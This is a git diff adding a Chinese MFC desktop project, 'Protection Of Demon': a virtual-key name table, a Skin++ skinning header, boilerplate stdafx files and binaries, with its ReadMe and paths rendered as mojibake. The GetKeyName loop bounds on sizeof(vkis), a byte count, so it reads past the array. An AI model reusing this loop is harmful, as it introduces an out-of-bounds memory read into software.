ID銆侻icrosoft Visual C++ 灏嗚鍙栧苟鏇存柊姝ゆ枃浠躲 + +Protection Of Demon.manifest + Windows XP 浣跨敤搴旂敤绋嬪簭娓呭崟鏂囦欢鏉ユ弿杩扮壒瀹氱増鏈殑骞惰绋嬪簭闆嗙殑搴旂敤绋嬪簭渚濊禆椤广傚姞杞界▼搴忎娇鐢ㄨ繖浜涗俊鎭潵浠庣▼搴忛泦缂撳瓨涓姞杞界浉搴旂殑绋嬪簭闆嗭紝骞朵繚鎶ゅ叾涓嶈搴旂敤绋嬪簭璁块棶銆傚簲鐢ㄧ▼搴忔竻鍗曞彲鑳戒細鍖呭惈鍦ㄥ唴锛屼互浣滀负涓庡簲鐢ㄧ▼搴忓彲鎵ц鏂囦欢瀹夎鍦ㄥ悓涓鏂囦欢澶逛腑鐨勫閮 .manifest 鏂囦欢杩涜閲嶆柊鍒嗗彂锛屽畠杩樺彲鑳戒互璧勬簮鐨勫舰寮忓寘鍚湪鍙墽琛屾枃浠朵腑銆 +///////////////////////////////////////////////////////////////////////////// + +鍏朵粬娉ㄩ噴: + +搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐 + +濡傛灉搴旂敤绋嬪簭浣跨敤鍏变韩 DLL 涓殑 MFC锛屾偍灏嗛渶瑕侀噸鏂板垎鍙 MFC DLL銆傚鏋滃簲鐢ㄧ▼搴忔墍浣跨敤鐨勮瑷涓庢搷浣滅郴缁熺殑鍖哄煙璁剧疆涓嶅悓锛屽垯杩橀渶瑕侀噸鏂板垎鍙戠浉搴旂殑鏈湴鍖栬祫婧 mfc110XXX.DLL銆 +鏈夊叧涓婅堪璇濋鐨勬洿澶氫俊鎭紝璇峰弬瑙 MSDN 鏂囨。涓湁鍏抽噸鏂板垎鍙 Visual C++ 搴旂敤绋嬪簭鐨勯儴鍒嗐 + +///////////////////////////////////////////////////////////////////////////// diff --git a/婧愪唬鐮/Release/Protection Of Demon.exe b/婧愪唬鐮/Release/Protection Of Demon.exe new file mode 100644 index 0000000..ffd7a4a Binary files /dev/null and b/婧愪唬鐮/Release/Protection Of Demon.exe differ diff --git a/婧愪唬鐮/VirtualKeyToAscii.h b/婧愪唬鐮/VirtualKeyToAscii.h new file mode 100644 index 0000000..7ec4782 --- /dev/null +++ b/婧愪唬鐮/VirtualKeyToAscii.h @@ -0,0 +1,295 @@ +#ifndef _VIRTUAL_KEY_TO_ASCII_ +#define _VIRTUAL_KEY_TO_ASCII_ + +#include + +struct VKeyInfo{ + USHORT VKey; + LPCSTR VKname; +}; + +#define AddVKey(VK, VKName) {(VK), (VKName)} + +// 辛辛苦苦从MSDN上摘录下来,VK的值从0x01 - 0xFE,如果编译器发现未定义的项目,直接换成对应的值就可以了. +static VKeyInfo vkis[] = { + AddVKey(VK_LBUTTON, "Left mouse button"), + AddVKey(VK_RBUTTON, "Right mouse button"), + AddVKey(VK_CANCEL, "Control-break processing"), + AddVKey(0x04, "Middle mouse button (three-button mouse)"), + AddVKey(0x05, "Windows 2000/XP: X1 mouse button"), + AddVKey(0x06, "Windows 2000/XP: X2 mouse button"), + AddVKey(0x07, "Undefined"), + AddVKey(VK_BACK, "BACKSPACE key"), + AddVKey(VK_TAB, "TAB key"), + AddVKey(0x0A, "Reserved"), + AddVKey(0x0B, "Reserved"), + AddVKey(VK_CLEAR, "CLEAR key"), + AddVKey(VK_RETURN, "ENTER key"), + AddVKey(0x0E, "Undefined"), + AddVKey(0x0F, "Undefined"), + AddVKey(VK_SHIFT, "SHIFT key"), + AddVKey(VK_CONTROL, "CTRL key"), + AddVKey(VK_MENU, "ALT key"), + AddVKey(VK_PAUSE, "PAUSE key"), + AddVKey(VK_CAPITAL, "CAPS LOCK key"), + AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"), + AddVKey(VK_HANGUL, "IME Hangul mode"), + AddVKey(0x16, "Undefined"), + AddVKey(VK_JUNJA, "IME Junja mode"), + AddVKey(VK_FINAL, "IME final mode"), + AddVKey(VK_HANJA, "IME Hanja mode"), + AddVKey(VK_KANJI, "IME Kanji mode"), + AddVKey(0x1A, "Undefined"), + AddVKey(VK_ESCAPE, "ESC key"), + AddVKey(VK_CONVERT, "IME convert"), + AddVKey(VK_NONCONVERT, "IME nonconvert"), + AddVKey(VK_ACCEPT, "IME accept"), + AddVKey(VK_MODECHANGE, "IME mode change request"), + AddVKey(VK_SPACE, "SPACEBAR"), + AddVKey(VK_PRIOR, "PAGE UP key"), + AddVKey(VK_NEXT, "PAGE DOWN key"), + AddVKey(VK_END, "END key"), + AddVKey(VK_HOME, "HOME key"), + AddVKey(VK_LEFT, "LEFT ARROW key"), + AddVKey(VK_UP, "UP ARROW key"), + AddVKey(VK_RIGHT, "RIGHT ARROW key"), + AddVKey(VK_DOWN, "DOWN ARROW key"), + AddVKey(VK_SELECT, "SELECT key"), + AddVKey(VK_PRINT, "PRINT key"), + AddVKey(VK_EXECUTE, "EXECUTE key"), + AddVKey(VK_SNAPSHOT, "PRINT SCREEN key"), + AddVKey(VK_INSERT, "INSERT key"), + AddVKey(VK_DELETE, "DEL key"), + AddVKey(VK_HELP, "HELP key"), + AddVKey(0x30, "0"), + AddVKey(0x31, "1"), + AddVKey(0x32, "2"), + AddVKey(0x33, "3"), + AddVKey(0x34, "4"), + AddVKey(0x35, "5"), + AddVKey(0x36, "6"), + AddVKey(0x37, "7"), + AddVKey(0x38, "8"), + AddVKey(0x39, "9"), + AddVKey(0x3A, "Undefined"), + AddVKey(0x3B, "Undefined"), + AddVKey(0x3C, "Undefined"), + AddVKey(0x3D, "Undefined"), + AddVKey(0x3E, "Undefined"), + AddVKey(0x3F, "Undefined"), + AddVKey(0x40, "Undefined"), + AddVKey(0x41, "A"), + AddVKey(0x42, "B"), + AddVKey(0x43, "C"), + AddVKey(0x44, "D"), + AddVKey(0x45, "E"), + AddVKey(0x46, "F"), + AddVKey(0x47, "G"), + AddVKey(0x48, "H"), + AddVKey(0x49, "I"), + AddVKey(0x4A, "J"), + AddVKey(0x4B, "K"), + AddVKey(0x4C, "L"), + AddVKey(0x4D, "M"), + AddVKey(0x4E, "N"), + AddVKey(0x4F, "O"), + AddVKey(0x50, "P"), + AddVKey(0x51, "Q"), + AddVKey(0x52, "R"), + AddVKey(0x53, "S"), + AddVKey(0x54, "T"), + AddVKey(0x55, "U"), + AddVKey(0x56, "V"), + AddVKey(0x57, "W"), + AddVKey(0x58, "X"), + AddVKey(0x59, "Y"), + AddVKey(0x5A, "Z"), + + AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"), + AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"), + AddVKey(VK_APPS, "Applications key (Natural keyboard)"), + AddVKey(0x5E, "Reserved"), + AddVKey(VK_SLEEP, "Computer Sleep key"), + AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"), + AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"), + AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"), + AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"), + AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"), + AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"), + AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"), + AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"), + AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"), + AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"), + AddVKey(VK_MULTIPLY, "Multiply key"), + AddVKey(VK_ADD, "Add key"), + AddVKey(VK_SEPARATOR, "Separator key"), + AddVKey(VK_SUBTRACT, "Subtract key"), + AddVKey(VK_DECIMAL, "Decimal key"), + AddVKey(VK_DIVIDE, "Divide key"), + AddVKey(VK_F1, "F1 key"), + AddVKey(VK_F2, "F2 key"), + AddVKey(VK_F3, "F3 key"), + AddVKey(VK_F4, "F4 key"), + AddVKey(VK_F5, "F5 key"), + AddVKey(VK_F6, "F6 key"), + AddVKey(VK_F7, "F7 key"), + AddVKey(VK_F8, "F8 key"), + AddVKey(VK_F9, "F9 key"), + AddVKey(VK_F10, "F10 key"), + AddVKey(VK_F11, "F11 key"), + AddVKey(VK_F12, "F12 key"), + AddVKey(VK_F13, "F13 key"), + AddVKey(VK_F14, "F14 key"), + AddVKey(VK_F15, "F15 key"), + AddVKey(VK_F16, "F16 key"), + AddVKey(VK_F17, "F17 key"), + AddVKey(VK_F18, "F18 key"), + AddVKey(VK_F19, "F19 key"), + AddVKey(VK_F20, "F20 key"), + AddVKey(VK_F21, "F21 key"), + AddVKey(VK_F22, "F22 key"), + AddVKey(VK_F23, "F23 key"), + AddVKey(VK_F24, "F24 key"), + AddVKey(0x88, "Unassigned"), + AddVKey(0x89, "Unassigned"), + AddVKey(0x8A, "Unassigned"), + AddVKey(0x8B, "Unassigned"), + AddVKey(0x8C, "Unassigned"), + AddVKey(0x8D, "Unassigned"), + AddVKey(0x8E, "Unassigned"), + AddVKey(0x8F, "Unassigned"), + AddVKey(VK_NUMLOCK, "NUM LOCK key"), + AddVKey(VK_SCROLL, "SCROLL LOCK key"), + AddVKey(0x92, "OEM specific"), + AddVKey(0x93, "OEM specific"), + AddVKey(0x94, "OEM specific"), + AddVKey(0x95, "OEM specific"), + AddVKey(0x96, "OEM specific"), + AddVKey(0x97, "Unassigned"), + AddVKey(0x98, "Unassigned"), + AddVKey(0x99, "Unassigned"), + AddVKey(0x9A, "Unassigned"), + AddVKey(0x9B, "Unassigned"), + AddVKey(0x9C, "Unassigned"), + AddVKey(0x9D, "Unassigned"), + AddVKey(0x9E, "Unassigned"), + AddVKey(0x9F, "Unassigned"), + AddVKey(VK_LSHIFT, "Left SHIFT key"), + AddVKey(VK_RSHIFT, "Right SHIFT key"), + AddVKey(VK_LCONTROL, "Left CONTROL key"), + AddVKey(VK_RCONTROL, "Right CONTROL key"), + AddVKey(VK_LMENU, "Left MENU key"), + AddVKey(VK_RMENU, "Right MENU key"), + AddVKey(0xA6, "Windows 2000/XP: Browser Back key"), + AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"), + AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"), + AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"), + AddVKey(0xAA, "Windows 2000/XP: Browser Search key"), + AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"), + AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"), + AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"), + AddVKey(0xAE, "Windows 2000/XP: Volume Down key"), + AddVKey(0xAF, "Windows 2000/XP: Volume Up key"), + AddVKey(0xB0, "Windows 2000/XP: Next Track key"), + AddVKey(0xB1, "Windows 2000/XP: Previous Track key"), + AddVKey(0xB2, "Windows 2000/XP: Stop Media key"), + AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"), + AddVKey(0xB4, "Windows 2000/XP: Start Mail key"), + AddVKey(0xB5, "Windows 2000/XP: Select Media key"), + AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"), + AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"), + AddVKey(0xB8, "Reserved"), + AddVKey(0xB9, "Reserved"), + AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard." + "Windows 2000/XP: For the US standard keyboard, the \';:\' key"), + AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"), + AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"), + AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"), + AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"), + AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard." + "Windows 2000/XP: For the US standard keyboard, the \'/?\' key"), + AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard." + "Windows 2000/XP: For the US standard keyboard, the \'`~\' key"), + AddVKey(0xC1, "Reserved"), + AddVKey(0xC2, "Reserved"), + AddVKey(0xC3, "Reserved"), + AddVKey(0xC4, "Reserved"), + AddVKey(0xC5, "Reserved"), + AddVKey(0xC6, "Reserved"), + AddVKey(0xC7, "Reserved"), + AddVKey(0xC8, "Reserved"), + AddVKey(0xC9, "Reserved"), + AddVKey(0xCA, "Reserved"), + AddVKey(0xCB, "Reserved"), + AddVKey(0xCC, "Reserved"), + AddVKey(0xCD, "Reserved"), + AddVKey(0xCE, "Reserved"), + AddVKey(0xCF, "Reserved"), + AddVKey(0xD0, "Reserved"), + AddVKey(0xD1, "Reserved"), + AddVKey(0xD2, "Reserved"), + AddVKey(0xD3, "Reserved"), + AddVKey(0xD4, "Reserved"), + AddVKey(0xD5, "Reserved"), + AddVKey(0xD6, "Reserved"), + AddVKey(0xD7, "Reserved"), + AddVKey(0xD8, "Unassigned"), + AddVKey(0xD9, "Unassigned"), + AddVKey(0xDA, "Unassigned"), + AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard." + "Windows 2000/XP: For the US standard keyboard, the \'[{\' key"), + AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard." + "Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"), + AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard." + "Windows 2000/XP: For the US standard keyboard, the \']}\' key"), + AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard." + "Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"), + + AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."), + AddVKey(0xE0, "Reserved"), + AddVKey(0xE1, "OEM specific"), + AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"), + AddVKey(0xE3, "OEM specific"), + AddVKey(0xE4, "OEM specific"), + AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"), + AddVKey(0xE6, "OEM specific"), + AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"), + AddVKey(0xE8, "Unassigned"), + AddVKey(0xE9, "OEM specific"), + AddVKey(0xEA, "OEM specific"), + AddVKey(0xEB, "OEM specific"), + AddVKey(0xEC, "OEM specific"), + AddVKey(0xED, "OEM specific"), + AddVKey(0xEF, "OEM specific"), + AddVKey(0xF0, "OEM specific"), + AddVKey(0xF1, "OEM specific"), + AddVKey(0xF2, "OEM specific"), + AddVKey(0xF3, "OEM specific"), + AddVKey(0xF4, "OEM specific"), + AddVKey(0xF5, "OEM specific"), + AddVKey(VK_ATTN, "Attn key"), + AddVKey(VK_CRSEL, "CrSel key"), + AddVKey(VK_EXSEL, "ExSel key"), + AddVKey(VK_EREOF, "Erase EOF key"), + AddVKey(VK_PLAY, "Play key"), + AddVKey(VK_ZOOM, "Zoom key"), + AddVKey(VK_NONAME, "Reserved"), + AddVKey(VK_PA1, "PA1 key"), + AddVKey(VK_OEM_CLEAR, "Clear key"), + AddVKey(0xFF, "Unknown Virtual-Key Code") +}; + + +LPCSTR GetKeyName(USHORT VKey) +{ + int i = 0; + for(i = 0; i < sizeof(vkis); i++) + { + if(VKey == vkis[i].VKey) + return vkis[i].VKname; + } + return vkis[--i].VKname; +} + + +#endif \ No newline at end of file diff --git a/婧愪唬鐮/res/ProtectionOfDemon.rc2 b/婧愪唬鐮/res/ProtectionOfDemon.rc2 new file mode 100644 index 0000000..b6826bc Binary files /dev/null and b/婧愪唬鐮/res/ProtectionOfDemon.rc2 differ diff --git a/婧愪唬鐮/res/demon64X64.ico b/婧愪唬鐮/res/demon64X64.ico new file mode 100644 index 0000000..f68e335 Binary files /dev/null and b/婧愪唬鐮/res/demon64X64.ico differ diff --git a/婧愪唬鐮/resource.h b/婧愪唬鐮/resource.h new file mode 100644 index 0000000..81b1495 Binary files /dev/null and b/婧愪唬鐮/resource.h differ diff --git a/婧愪唬鐮/skin/AquaOS.ssk b/婧愪唬鐮/skin/AquaOS.ssk new file mode 100644 index 0000000..ce38836 Binary files /dev/null and b/婧愪唬鐮/skin/AquaOS.ssk differ diff --git a/婧愪唬鐮/skin/SkinPPWTL.h b/婧愪唬鐮/skin/SkinPPWTL.h new file mode 100644 index 0000000..5a875ab --- /dev/null +++ b/婧愪唬鐮/skin/SkinPPWTL.h @@ -0,0 +1,237 @@ +#ifndef _SKINPPWTL_H_ +#define _SKINPPWTL_H_ + +#ifdef _SKINPP_STATIC + #define SKINPPWTL_API +#else + #ifdef SKINPPWTL_EXPORTS + #define SKINPPWTL_API __declspec(dllexport) + #else + #define SKINPPWTL_API __declspec(dllimport) + #endif +#endif + +#define WM_TOOLBARPAINTPRE (WM_USER + 802) +#define WM_TOOLBARPAINTEND (WM_USER + 803) + +#define SM_LBUTTONUP (WM_USER + 804) + +//按钮状态 +enum BUTTONSTATE +{ + NORMAL = 0, + PRESS = 1, + DISABLE = 2, + HOT = 3, + FOCUS = 4, + LAST = 5 +}; + +//绘制类型 +enum DRAWTYPE +{ + BUTTON = 0, + SCROLLARROWUP = 1, + SCROLLARROWDOWN = 2, + SPLITTERBARHORZ = 3, + SPLITTERBARVERT = 4, + SPLITTERBARBORDER = 5, + LISTHEAD = 6 +}; + +//获得皮肤资源的类型 +enum SKINOBJTYPE +{ + DIALOGTYPE = 0, + BUTTONTYPE = 1, + CHECKBOXTYPE = 2, + RADIOBOXTYPE = 3, + STATICTYPE = 4, + TRACKBARTYPE = 5, +}; + +struct ListBoxItem +{ + HIMAGELIST hImageList; + int nImageIndex; + + ListBoxItem() + { + hImageList = NULL; + nImageIndex = -1; + } +}; + +#define REST_BITMAP 0x0001 //.bmp +#define REST_ICON 0x0002 //.ico +#define REST_CURSOR 0x0003 //.cur +#define REST_ANIMATE 0x0004 //.ani + +typedef struct _ResourceInfo +{ + HGDIOBJ hGdiObj;//[OUT] + DWORD dwType; //[OUT] + int nWidth; //[OUT] + int nHeight;//[OUT] + + TCHAR szResImageName[_MAX_FNAME];//[IN] + BOOL bHorzSplit;//[IN] + int nLength;//[IN] + int nCount; //[IN] + int nIndex; //[IN] + + _ResourceInfo() + { + hGdiObj = NULL; + dwType = REST_BITMAP; + nWidth = 0; + nHeight = 0; + + _tcscpy(szResImageName,_T("")); + bHorzSplit = TRUE; + nLength = -1; + nCount = -1; + nIndex = -1; + } + +}ResInfo,* PRESINFO; + +////////////////////////////////////////////////////////////////////////// + +//加载皮肤 +//SkinFile :皮肤路径,注意可以是*.ssk,也可以是皮肤目录中的INI文件. +//bFromIni :该参数指定皮肤文件是从*.ssk读取,还是从INI文件读取. +SKINPPWTL_API BOOL skinppLoadSkin(TCHAR* szSkinFile,BOOL bFromIni = FALSE); + +SKINPPWTL_API BOOL skinppLoadSkinFromRes(HINSTANCE hInstance,LPCTSTR szResourceName, + LPCTSTR szResourceType,TCHAR* szSkinFileName); + +//移除皮肤 +SKINPPWTL_API BOOL skinppRemoveSkin(); + +//退出界面库,做清理工作。 +SKINPPWTL_API BOOL skinppExitSkin(); + +//设置ListBox控件的自画信息 +//hWnd : ListBox控件的句柄 +//nIndex : Item项的索引 +//pListBoxItem : Item项自画的结构信息 +SKINPPWTL_API void skinppSetListBoxItemDrawInfo(HWND hWnd,int nIndex,struct ListBoxItem* pListBoxItem); + +//获得换肤后的系统颜色 +//nColorIndex : 要获取的颜色类型 +SKINPPWTL_API COLORREF skinppGetSkinSysColor(int nColorIndex); + +//获得Windows系统默认的颜色 +//nColorIndex : 要获取的颜色类型 +SKINPPWTL_API COLORREF skinppGetDefaultSysColor(int nColorIndex); + +//hWnd : 对话框窗口的句柄 +//nResID : 对话框资源ID +SKINPPWTL_API BOOL skinppSetWindowResID(HWND hWnd,int nResID);//[多语言] + +SKINPPWTL_API BOOL skinppSetFreeDlgID(HWND hWnd,int nResID); + +SKINPPWTL_API BOOL skinppSetSkinResID(HWND hWnd,int nResID); + +//设置ListHeader窗口的排序信息 +//hWnd : ListHeader的窗口句柄 +//nSortColumn : 要对ListHeader排序的列的索引 +//bSortAscending: 是否为升序 +SKINPPWTL_API void skinppSetListHeaderSortInfo(HWND hWnd,int nSortColumn,BOOL bSortAscending = TRUE); + +//在给定的HDC上,指定相应的绘制类型和状态,在相应的矩形区域中进行绘制. +//hdc :目标DC +//rect :绘制区域 +//eDrawType :绘制类型,目前支持SPLITTERBARHORZ,SPLITTERBARVERT,SPLITTERBARBORDER +//nState :选择绘制状态 +SKINPPWTL_API void skinppDrawSkinObject(HDC hdc,RECT rect,DRAWTYPE eDrawType,int nState); + +//通过资源ID,获得相应类型的皮肤资源位图句柄 +//nSkinObjType : 皮肤类型,目前支持 DIALOGTYPE,BUTTONTYPE,CHECKBOXTYPE,RADIOBOXTYPE +//nResID : 资源ID +//nState : 状态,对BUTTONTYPE,CHECKBOXTYPE,RADIOBOXTYPE有效 +SKINPPWTL_API HBITMAP skinppGetResFromID(SKINOBJTYPE nSkinObjType,int nResID,int nState =0 ); + +//设置是否自己画对话框背景,该方法用在需要自己对背景进行处理的情况下. +//hWnd : 对话框的句柄 +//bErase : TRUE 为自己画背景,FALSE 为Skin++画,如果没有调用该方法,Skin++将画对话框背景. +SKINPPWTL_API void skinppSetDialogEraseBkgnd(HWND hWnd,BOOL bErase); + +//设置对话框背景是否剪切子控件区域。 +//hWnd : 对话框句柄 +//bNoClip : TRUE为不需要剪切,FALSE为需要剪切区域 +//bAllChild : TRUE为该窗体的所有子对话框都剪切. +SKINPPWTL_API void skinppSetDialogBkClipRgn(HWND hWnd,BOOL bClip,BOOL bAllChild = TRUE); + +//通过皮肤资源名称获得皮肤资源中位图 +//szName : 皮肤资源名称 +//HBITMAP : 返回资源中的位图 +SKINPPWTL_API HBITMAP skinppGetBitmapRes(LPCTSTR szName); + +//通过资源名称取资源的内存指针 +//szName : 资源名称 +//nSize : 资源大小 +//pByte : 返回值,成功返回非NULL,失败返回NULL +SKINPPWTL_API BYTE* skinppGetSkinResource(LPCTSTR szName,int& nSize); + +//通过皮肤资源的名称获得位图不被拉伸的区域值 +//szName : 皮肤资源名称 +//nTopHeight : 返回不被拉伸的顶高 +//nBottomHeight : 返回不被拉伸的底高 +//nLeftWidth : 返回不被拉伸的左宽 +//nRightWidth : 返回不被拉伸的右宽 +SKINPPWTL_API BOOL skinppGetBitmapResRect(LPCTSTR szName,int& nTopHeight,int& nBottomHeight, + int& nLeftWidth,int& nRightWidth); + +//设置窗口自画是否自己来处理,该方法用于自画部分需要自己处理的情况下 +//hWnd : 要自画的窗口句柄 +//bCustomDraw : TRUE为自己处理自画,FALSE为交给Skin++处理自画 +SKINPPWTL_API void skinppSetCustomDraw(HWND hWnd,BOOL bCustomDraw); + +//设置菜单的皮肤标识 +//hWnd : 拥有菜单的窗口句柄 +//nSkinObjectID : 菜单皮肤的标识 +SKINPPWTL_API void skinppSetMenuSkinObjectID(HWND hWnd,int nSkinObjectID); + +//设置是否对自画菜单进行换肤 +//bSkin : TRUE为换肤 +SKINPPWTL_API void skinppSetSkinOwnerMenu(BOOL bSkin); + +//对菜单进行换肤控制 +//hMenu : 想换肤的菜单句柄 +//bNoSkin : 是否换肤,TRUE为不换肤,FALSE为换肤 +SKINPPWTL_API void skinppSetDrawMenu(HMENU hMenu,BOOL bNoSkin); + +//对指定的窗口去掉皮肤,并且保证不会再被换肤,即使使用SetSkinHwnd也不会换肤. +//hWnd : 指定的窗口句柄 +//bChildNoSkin : 是否对该窗口中的子窗口去掉皮肤 +SKINPPWTL_API void skinppSetNoSkinHwnd(HWND hWnd,BOOL bChildNoSkin = TRUE); + +//对指定的窗口进行换肤 +//hWnd : 指定的窗口句柄 +//szClassName : 要子类化的Skin类型 WC_DIALOGBOX/WC_CONTROLBAR等 +SKINPPWTL_API void skinppSetSkinHwnd(HWND hWnd,LPCTSTR szClassName = NULL); + +//对指定的窗口临时去掉皮肤,可以通过SetSkinHwnd进行再次换肤 +SKINPPWTL_API void skinppRemoveSkinHwnd(HWND hWnd); + +//是对SetNoSkinHwnd的进一步处理,可以解决使用SetNoSkinHwnd引起的Debug版的断言错 +#define SETNOSKINHWND(x) {\ + HWND w=(x).UnsubclassWindow();\ + skinppSetNoSkinHwnd(w);\ + (x).SubclassWindow(w);\ +} + +//是对RemoveSkinHwnd的进一步处理,可以解决使用RemoveSkinHwnd引起的Debug版的断言错 +#define REMOVESKINHWND(x){\ + HWND w=(x).UnsubclassWindow();\ + skinppRemoveSkinHwnd(w);\ + (x).SubclassWindow(w);\ +} + +SKINPPWTL_API HGDIOBJ skinppGetResFromID(PRESINFO pResInfo); + + +#endif //_SKINPPWTL_H_ + diff --git a/婧愪唬鐮/skin/SkinPPWTL.lib b/婧愪唬鐮/skin/SkinPPWTL.lib new file mode 100644 index 0000000..0e78198 Binary files /dev/null and b/婧愪唬鐮/skin/SkinPPWTL.lib differ diff --git a/婧愪唬鐮/skin/skinppwtl.dll b/婧愪唬鐮/skin/skinppwtl.dll new file mode 100644 index 0000000..faed7d4 Binary files /dev/null and b/婧愪唬鐮/skin/skinppwtl.dll differ diff --git a/婧愪唬鐮/stdafx.cpp b/婧愪唬鐮/stdafx.cpp new file mode 100644 index 0000000..91f5610 --- /dev/null +++ b/婧愪唬鐮/stdafx.cpp @@ -0,0 +1,8 @@ + +// stdafx.cpp : 只包括标准包含文件的源文件 +// Protection Of Demon.pch 将作为预编译头 +// stdafx.obj 将包含预编译类型信息 + +#include "stdafx.h" + + diff --git a/婧愪唬鐮/stdafx.h b/婧愪唬鐮/stdafx.h new file mode 100644 index 0000000..b8959b8 --- /dev/null +++ b/婧愪唬鐮/stdafx.h @@ -0,0 +1,55 @@ + +// stdafx.h : 标准系统包含文件的包含文件, +// 或是经常使用但不常更改的 +// 特定于项目的包含文件 + +#pragma once + +#ifndef VC_EXTRALEAN +#define VC_EXTRALEAN // 从 Windows 头中排除极少使用的资料 +#endif + +#include "targetver.h" + +#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的 + +// 关闭 MFC 对某些常见但经常可放心忽略的警告消息的隐藏 +#define _AFX_ALL_WARNINGS + +#include // MFC 核心组件和标准组件 +#include // MFC 扩展 + + +#include // MFC 自动化类 + + + +#ifndef _AFX_NO_OLE_SUPPORT +#include // MFC 对 Internet Explorer 4 公共控件的支持 +#endif +#ifndef _AFX_NO_AFXCMN_SUPPORT +#include // MFC 对 Windows 公共控件的支持 +#endif // _AFX_NO_AFXCMN_SUPPORT + +#include // 功能区和控件条的 MFC 支持 + + +#include // MFC 套接字扩展 + + + + + + + +#ifdef _UNICODE +#if defined _M_IX86 +#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"") +#elif defined _M_X64 +#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"") +#else +#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"") +#endif +#endif + + diff --git a/婧愪唬鐮/targetver.h b/婧愪唬鐮/targetver.h new file mode 100644 index 0000000..fb28263 --- /dev/null +++ b/婧愪唬鐮/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// 包括 SDKDDKVer.h 将定义最高版本的可用 Windows 平台。 + +// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将 +// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。 + +#include